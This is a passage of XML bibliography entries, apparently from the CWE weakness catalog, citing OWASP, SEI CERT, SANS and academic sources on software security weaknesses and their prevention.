			<URL>https://learn.microsoft.com/en-us/previous-versions/bb288454(v=msdn.10)?redirectedfrom=MSDN</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-562">
			<Author>Don Parker</Author>
			<Title>Windows NTFS Alternate Data Streams</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---16</Publication_Day>
			<URL>https://seclists.org/basics/2005/Feb/312</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-565">
			<Author>Adam Doup&#233;</Author>		  
			<Author>Bryce Boe</Author>
			<Author>Christopher Kruegel</Author>
			<Author>Giovanni Vigna</Author>
			<Title>Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities</Title>
			<URL>http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-567">
			<Author>Taimur Aslam</Author>
			<Title>A Taxonomy of Security Faults in the UNIX Operating System</Title>
			<Publication_Year>1995</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---01</Publication_Day>
			<URL>http://ftp.cerias.purdue.edu/pub/papers/taimur-aslam/aslam-taxonomy-msthesis.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-568">
			<Author>Taimur Aslam</Author>
			<Author>Ivan Krsul</Author>
			<Author>Eugene H. Spafford</Author>
			<Title>Use of A Taxonomy of Security Faults</Title>
			<Publication_Year>1995</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---01</Publication_Day>
			<URL>https://csrc.nist.gov/csrc/media/publications/conference-paper/1996/10/22/proceedings-of-the-19th-nissc-1996/documents/paper057/paper.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-570">
			<Title>Top 10 2004</Title>
			<Publication_Year>2004</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---27</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>http://www.owasp.org/index.php/Top_10_2004</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-571">
			<Author>PCI Security Standards Council</Author>
			<Title>About the PCI Data Security Standard (PCI DSS)</Title>
			<URL>https://listings.pcisecuritystandards.org/pci_security/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-572">
			<Author>OWASP</Author>
			<Title>Top 10 2007-Cross Site Scripting</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://www.owasp.org/index.php/Top_10_2007-A1</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-574">
			<Author>OWASP</Author>
			<Title>Top 10 2007-Cross Site Request Forgery</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://www.owasp.org/index.php/Top_10_2007-A5</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-575">
			<Author>OWASP</Author>
			<Title>Top 10 2007-Information Leakage and Improper Error Handling</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://www.owasp.org/index.php/Top_10_2007-A6</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-577">
			<Author>OWASP</Author>
			<Title>Top 10 2007-Insecure Cryptographic Storage</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://www.owasp.org/index.php/Top_10_2007-A8</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-578">
			<Author>NetSec</Author>
			<Title>NetSec Security Advisory: Multiple Vulnerabilities Resulting From Use Of Apple OSX HFS+</Title>
			<Publication>BugTraq</Publication>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---16</Publication_Day>
			<URL>https://seclists.org/bugtraq/2005/Feb/309</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-580">
			<Author>OWASP</Author>
			<Title>Top 10 2007-Failure to Restrict URL Access</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://www.owasp.org/index.php/Top_10_2007-A10</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-581">
			<Author>OWASP</Author>
			<Title>A1 Unvalidated Input</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-582">
			<Author>OWASP</Author>
			<Title>A2 Broken Access Control</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-583">
			<Author>OWASP</Author>
			<Title>A3 Broken Authentication and Session Management</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-584">
			<Author>OWASP</Author>
			<Title>A4 Cross-Site Scripting (XSS) Flaws</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-585">
			<Author>OWASP</Author>
			<Title>A5 Buffer Overflows</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-586">
			<Author>OWASP</Author>
			<Title>A6 Injection Flaws</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-587">
			<Author>OWASP</Author>
			<Title>A7 Improper Error Handling</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-588">
			<Author>OWASP</Author>
			<Title>A8 Insecure Storage</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-590">
			<Author>OWASP</Author>
			<Title>A9 Denial of Service</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-591">
			<Author>OWASP</Author>
			<Title>A10 Insecure Configuration Management</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://sourceforge.net/project/showfiles.php?group_id=64424&amp;package_id=70827</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-594">
			<Author>Jason Lam</Author>
			<Title>Top 25 Series - Rank 21 - Incorrect Permission Assignment for Critical Response</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>http://software-security.sans.org/blog/2010/03/24/top-25-series-rank-21-incorrect-permission-assignment-for-critical-response</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-597">
			<Author>Robert C. Seacord</Author>
			<Title>The CERT C Secure Coding Standard</Title>
			<Edition>1st Edition</Edition>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---14</Publication_Day>
			<Publisher>Addison-Wesley Professional</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-598">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-599">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 01. Preprocessor (PRE)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152276</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-600">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 02. Declarations and Initialization (DCL)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152215</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-601">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 03. Expressions (EXP)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152200</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-602">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 04. Integers (INT)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152052</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-603">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 05. Floating Point (FLP)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152181</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-604">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 06. Arrays (ARR)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152051</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-605">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 07. Characters and Strings (STR)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152038</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-606">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 08. Memory Management (MEM)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152142</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-607">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 09. Input Output (FIO)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152270</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-608">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 10. Environment (ENV)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152421</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-609">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 11. Signals (SIG)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152469</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-610">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 12. Error Handling (ERR)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152345</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-611">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 13. Application Programming Interfaces (API)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152242</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-612">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 14. Concurrency (CON)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152257</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-613">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 48. Miscellaneous (MSC)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152201</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-614">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 50. POSIX (POS)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152405</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-615">
			<Title>2009 CWE/SANS Top 25 Most Dangerous Programming Errors</Title>
			<Publication_Year>2009</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---12</Publication_Day>
			<URL>http://cwe.mitre.org/top25/archive/2009/2009_cwe_sans_top25.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-617">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C Coding Standard : Rule 51. Microsoft Windows (WIN)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151925</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-622">
			<Author>Frank Kim</Author>
			<Title>Top 25 Series - Rank 15 - Improper Check for Unusual or Exceptional Conditions</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-rank-15-improper-check-for-unusual-or-exceptional-conditions/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-631">
			<Author>OWASP</Author>
			<Title>Password Storage Cheat Sheet</Title>
			<URL>https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-632">
			<Author>Thomas Ptacek</Author>
			<Title>Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---10</Publication_Day>
			<URL>http://hashphp.org/hashing.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-633">
			<Author>Robert Graham</Author>
			<Title>The Importance of Being Canonical</Title>
			<Publication_Year>2009</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---02</Publication_Day>
			<URL>https://blog.erratasec.com/2009/02/importance-of-being-canonical.html#.ZCbyY7LMJPY</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-634">
			<Author>James McGlinn</Author>
			<Title>Password Hashing</Title>
			<URL>https://privacyaustralia.net/phpsec/articles/password-hashing/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-635">
			<Author>Jeff Atwood</Author>
			<Title>Rainbow Hash Cracking</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---08</Publication_Day>
			<URL>https://blog.codinghorror.com/rainbow-hash-cracking/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-636">
			<Author>Jeff Atwood</Author>
			<Title>Speed Hashing</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---06</Publication_Day>
			<URL>https://blog.codinghorror.com/speed-hashing/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-637">
			<Title>Rainbow table</Title>
			<Publication_Year>2009</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<Publisher>Wikipedia</Publisher>
			<URL>https://en.wikipedia.org/wiki/Rainbow_table</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-657">
			<Title>boost C++ Library Smart Pointers</Title>
			<URL>https://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-664">
			<Title>getrlimit(2) - Linux manual page</Title>
			<URL>https://man7.org/linux/man-pages/man2/setrlimit.2.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-667">
			<Author>Rafal Los</Author>
			<Title>Real-Life Example of a 'Business Logic Defect' (Screen Shots!)</Title>
			<Publication_Year>2011</Publication_Year>
			<URL>http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-672">
			<Author>Frank Kim</Author>
			<Title>Top 25 Series - Rank 22 - Allocation of Resources Without Limits or Throttling</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---23</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://web.archive.org/web/20170113055136/https://software-security.sans.org/blog/2010/03/23/top-25-series-rank-22-allocation-of-resources-without-limits-or-throttling/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-676">
			<Author>Amit Klein</Author>
			<Title>Multiple vendors XML parser (and SOAP/WebServices server) Denial of Service attack using DTD</Title>
			<Publication_Year>2002</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---16</Publication_Day>
			<URL>https://seclists.org/fulldisclosure/2002/Dec/229</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-677">
			<Author>Rami Jaamour</Author>
			<Title>XML security: Preventing XML bombs</Title>
			<Publication_Year>2006</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---22</Publication_Day>
			<URL>http://searchsoftwarequality.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid92_gci1168442,00.html?asrc=SS_CLA_302%20%20558&amp;psrc=CLT_92#</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-678">
			<Author>Didier Stevens</Author>
			<Title>Dismantling an XML-Bomb</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---23</Publication_Day>
			<URL>https://blog.didierstevens.com/2008/09/23/dismantling-an-xml-bomb/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-679">
			<Author>Robert Auger</Author>
			<Title>XML Entity Expansion</Title>
			<URL>http://projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-680">
			<Author>Elliotte Rusty Harold</Author>
			<Title>Tip: Configure SAX parsers for secure processing</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---27</Publication_Day>
			<URL>https://web.archive.org/web/20101005080451/http://www.ibm.com/developerworks/xml/library/x-tipcfsx.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-682">
			<Author>Blaise Doughan</Author>
			<Title>Preventing Entity Expansion Attacks in JAXB</Title>
			<Publication_Year>2011</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-685">
			<Author>Pascal Meunier</Author>
			<Title>Meta-Character Vulnerabilities</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>https://web.archive.org/web/20100714032622/https://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-686">
			<Author>Robert Auger</Author>
			<Title>OS Commanding</Title>
			<Publication_Year>2009</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<URL>http://projects.webappsec.org/w/page/13246950/OS%20Commanding</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-687">
			<Author>Lincoln Stein</Author>
			<Author>John Stewart</Author>
			<Title>The World Wide Web Security FAQ</Title>
			<Publication_Year>2002</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---04</Publication_Day>
			<URL>https://www.w3.org/Security/Faq/wwwsf4.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-688">
			<Author>Jordan Dimov, Cigital</Author>
			<Title>Security Issues in Perl Scripts</Title>
			<URL>https://www.cgisecurity.com/lib/sips.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-690">
			<Author>Frank Kim</Author>
			<Title>Top 25 Series - Rank 9 - OS Command Injection</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-rank-9-os-command-injection/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-694">
			<Author>Ronald L. Rivest</Author>
			<Author>Burt Kaliski</Author>
			<Title>RSA Problem</Title>
			<Publication_Year>2003</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---10</Publication_Day>
			<URL>http://people.csail.mit.edu/rivest/RivestKaliski-RSAProblem.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-695">
			<Title>Optimal Asymmetric Encryption Padding</Title>
			<Publication_Year>2009</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---08</Publication_Day>
			<Publisher>Wikipedia</Publisher>
			<URL>https://en.wikipedia.org/wiki/Optimal_asymmetric_encryption_padding</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-696">
			<Author>Ruben Santamarta</Author>
			<Title>Exploiting Common Flaws in Drivers</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>http://reversemode.com/index.php?option=com_content&amp;task=view&amp;id=38&amp;Itemid=1</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-697">
			<Author>Yuriy Bulygin</Author>
			<Title>Remote and Local Exploitation of Network Drivers</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---01</Publication_Day>
			<URL>https://www.blackhat.com/presentations/bh-usa-07/Bulygin/Presentation/bh-usa-07-bulygin.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-698">
			<Author>Anibal Sacco</Author>
			<Title>Windows driver vulnerabilities: the METHOD_NEITHER odyssey</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<URL>http://www.net-security.org/dl/insecure/INSECURE-Mag-18.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-699">
			<Author>Microsoft</Author>
			<Title>Buffer Descriptions for I/O Control Codes</Title>
			<URL>https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/buffer-descriptions-for-i-o-control-codes</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-700">
			<Author>Microsoft</Author>
			<Title>Using Neither Buffered Nor Direct I/O</Title>
			<URL>https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-neither-buffered-nor-direct-i-o</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-701">
			<Author>Microsoft</Author>
			<Title>Securing Device Objects</Title>
			<URL>https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/controlling-device-access</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-702">
			<Author>Piotr Bania</Author>
			<Title>Exploiting Windows Device Drivers</Title>
			<URL>https://www.piotrbania.com/all/articles/ewdd.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-704">
			<Author>CERT</Author>
			<Title>EXP00-C. Use parentheses for precedence of operation</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/seccode/EXP00-C.+Use+parentheses+for+precedence+of+operation</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-706">
			<Author>Steve Christey</Author>
			<Title>Unforgivable Vulnerabilities</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---02</Publication_Day>
			<URL>http://cve.mitre.org/docs/docs-2007/unforgivable.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-709">
			<Author>Jeremiah Grossman</Author>
			<Author>Robert "RSnake" Hansen</Author>
			<Author>Petko "pdp" D. Petkov</Author>
			<Author>Anton Rager</Author>
			<Author>Seth Fogie</Author>
			<Title>XSS Attacks</Title>
			<Publication_Year>2007</Publication_Year>
			<Publisher>Syngress</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-712">
			<Title>Cross-site scripting</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<Publisher>Wikipedia</Publisher>
			<URL>https://en.wikipedia.org/wiki/Cross-site_scripting</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-714">
			<Author>RSnake</Author>
			<Title>XSS (Cross Site Scripting) Cheat Sheet</Title>
			<URL>http://ha.ckers.org/xss.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-715">
			<Author>Microsoft</Author>
			<Title>Mitigating Cross-site Scripting With HTTP-only Cookies</Title>
			<URL>https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-716">
			<Author>Mark Curphey, Microsoft</Author>
			<Title>Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!</Title>
			<URL>https://learn.microsoft.com/en-us/archive/blogs/cisg/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-718">
			<Author>Ivan Ristic</Author>
			<Title>XSS Defense HOWTO</Title>
			<URL>https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/xss-defense-howto/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-719">
			<Author>OWASP</Author>
			<Title>Web Application Firewall</Title>
			<URL>http://www.owasp.org/index.php/Web_Application_Firewall</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-720">
			<Author>Web Application Security Consortium</Author>
			<Title>Web Application Firewall Evaluation Criteria</Title>
			<URL>http://projects.webappsec.org/w/page/13246985/Web%20Application%20Firewall%20Evaluation%20Criteria</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-721">
			<Author>RSnake</Author>
			<Title>Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---19</Publication_Day>
		</External_Reference>
		<External_Reference Reference_ID="REF-722">
			<Title>XMLHttpRequest allows reading HTTPOnly cookies</Title>
			<Publisher>Mozilla</Publisher>
			<URL>https://bugzilla.mozilla.org/show_bug.cgi?id=380418</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-723">
			<Title>Apache Wicket</Title>
			<URL>http://wicket.apache.org/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-724">
			<Author>OWASP</Author>
			<Title>XSS (Cross Site Scripting) Prevention Cheat Sheet</Title>
			<URL>http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-725">
			<Author>OWASP</Author>
			<Title>DOM based XSS Prevention Cheat Sheet</Title>
			<URL>http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-726">
			<Author>Jason Lam</Author>
			<Title>Top 25 series - Rank 1 - Cross Site Scripting</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---22</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-rank-1-cross-site-scripting/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-729">
			<Author>Johannes Ullrich</Author>
			<Title>Top 25 Series - Rank 11 - Hardcoded Credentials</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---10</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-rank-11-hardcoded-credentials/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-731">
			<Author>Web Application Security Consortium</Author>
			<Title>Insufficient Anti-automation</Title>
			<URL>http://projects.webappsec.org/Insufficient+Anti-automation</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-732">
			<Title>2010 CWE/SANS Top 25 Most Dangerous Software Errors</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---04</Publication_Day>
			<URL>http://cwe.mitre.org/top25/archive/2010/2010_cwe_sans_top25.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-741">
